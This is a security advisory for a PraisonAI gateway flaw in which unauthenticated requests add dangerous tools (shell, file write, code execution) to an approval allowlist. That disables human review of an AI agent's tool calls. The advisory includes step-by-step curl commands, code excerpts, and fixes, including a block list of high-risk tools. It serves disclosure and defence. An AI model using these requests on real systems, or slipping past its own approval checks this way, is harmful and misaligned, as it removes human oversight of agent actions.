CVE-2026-40149: PraisonAI has an Unauthenticated Allow-List Manipulation Bypasses Agent Tool Approval Safety Controls

Summary

The gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no authtoken is configured (the default). By adding dangerous tool names (e.g., shellexec, filewrite) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce.

Details

The vulnerability arises from the interaction of three components:

1. Authentication bypass in default config

checkauth() in server.py:243-246 returns None (no error) when self.config.authtoken is falsy:

python server.py:243-246 def checkauth(request) -> Optional[JSONResponse]: if not self.config.authtoken: return None # No auth configured → allow everything

GatewayConfig defaults authtoken to None (config.py:61):

python config.py:61 authtoken: Optional[str] = None

2. Unrestricted allowlist modification

The approvalallowlist handler at server.py:381-420 calls checkauth() and proceeds when it returns None:

python server.py:388-410 autherr = checkauth(request) if autherr: return autherr ... if request.method == "POST": approvalmgr.allowlist.add(toolname) # No validation on toolname return JSONResponse({"added": toolname})

There is no validation that toolname corresponds to a real tool, no restriction on which tools can be allowlisted, and no rate limiting.

3. Auto-approval fast path

When GatewayApprovalBackend.requestapproval() is called by an agent (gatewayapproval.py:87), it calls ExecApprovalManager.register(), which checks the allowlist first (execapproval.py:141-144):

python execapproval.py:140-144 Fast path: already permanently allowed if toolname in self.allowlist: future.setresult(Resolution(approved=True, reason="allow-always")) return ("auto", future)

The tool executes immediately without any human review.

Complete data flow: 1. Attacker POSTs {"toolname": "shellexec"} to /api/approval/allow-list 2. checkauth() returns None (no auth token configured) 3. approvalmgr.allowlist.add("shellexec") adds to the PermissionAllowlist set 4. Agent later calls shellexec → GatewayApprovalBackend.requestapproval() → ExecApprovalManager.register() 5. register() hits the fast path: "shellexec" in self.allowlist → True 6. Returns Resolution(approved=True) — no human review occurs 7. Agent executes the dangerous tool

PoC

bash Step 1: Verify the gateway is running with default config (no auth) curl http://127.0.0.1:8765/health Response: {"status": "healthy", ...}

Step 2: Check current allow-list (empty by default) curl http://127.0.0.1:8765/api/approval/allow-list Response: {"allowlist": []}

Step 3: Add dangerous tools to allow-list without authentication curl -X POST http://127.0.0.1:8765/api/approval/allow-list \ -H 'Content-Type: application/json' \ -d '{"toolname": "shellexec"}' Response: {"added": "shellexec"}

curl -X POST http://127.0.0.1:8765/api/approval/allow-list \ -H 'Content-Type: application/json' \ -d '{"toolname": "filewrite"}' Response: {"added": "filewrite"}

curl -X POST http://127.0.0.1:8765/api/approval/allow-list \ -H 'Content-Type: application/json' \ -d '{"toolname": "codeexecution"}' Response: {"added": "codeexecution"}

Step 4: Verify tools are now permanently auto-approved curl http://127.0.0.1:8765/api/approval/allow-list Response: {"allowlist": ["codeexecution", "filewrite", "shellexec"]}

Step 5: Any agent using GatewayApprovalBackend will now auto-approve these tools via ExecApprovalManager.register() fast path at execapproval.py:141 without human review.

Impact

- Bypasses human-in-the-loop safety controls: The approval system is the primary safety mechanism preventing agents from executing dangerous operations (shell commands, file writes, code execution) without human review. Once the allowlist is manipulated, all safety gates for the specified tools are permanently disabled for the lifetime of the gateway process. - Enables arbitrary agent tool execution: Any tool can be added to the allowlist, including tools that execute shell commands, write files, or perform other privileged operations. - Persistent within process: The allowlist is stored in-memory and persists for the entire gateway lifetime. There is no audit log of allowlist modifications. - Local attack surface: Default binding to 127.0.0.1 limits this to local attackers, but any process on the same host (malicious scripts, compromised dependencies, SSRF from other local services) can exploit this. When combined with the separately-reported CORS wildcard origin (CWE-942), this becomes exploitable from any website via the user's browser.

Recommended Fix

The approval allowlist endpoint is a security-critical function and should always require authentication, even in development mode. Apply one of these mitigations:

Option A: Require authtoken for approval endpoints (recommended)

python server.py - modify checkauth or add a separate check for approval endpoints def checkauthrequired(request) -> Optional[JSONResponse]: """Validate auth token - ALWAYS required for security-critical endpoints.""" if not self.config.authtoken: return JSONResponse( {"error": "authtoken must be configured to use approval endpoints"}, statuscode=403, ) return checkauth(request)

Then in approvalallowlist(): async def approvalallowlist(request): autherr = checkauthrequired(request) # Always require auth if autherr: return autherr

Option B: Restrict allowlist additions to known safe tools

python execapproval.py - add a tool safety classification ALLOWLISTBLOCKEDTOOLS = {"shellexec", "filewrite", "codeexecution", "bash", "terminal"}

server.py - validate toolname before adding if toolname in ALLOWLISTBLOCKEDTOOLS: return JSONResponse( {"error": f"'{toolname}' cannot be added to allow-list (high-risk tool)"}, statuscode=403, )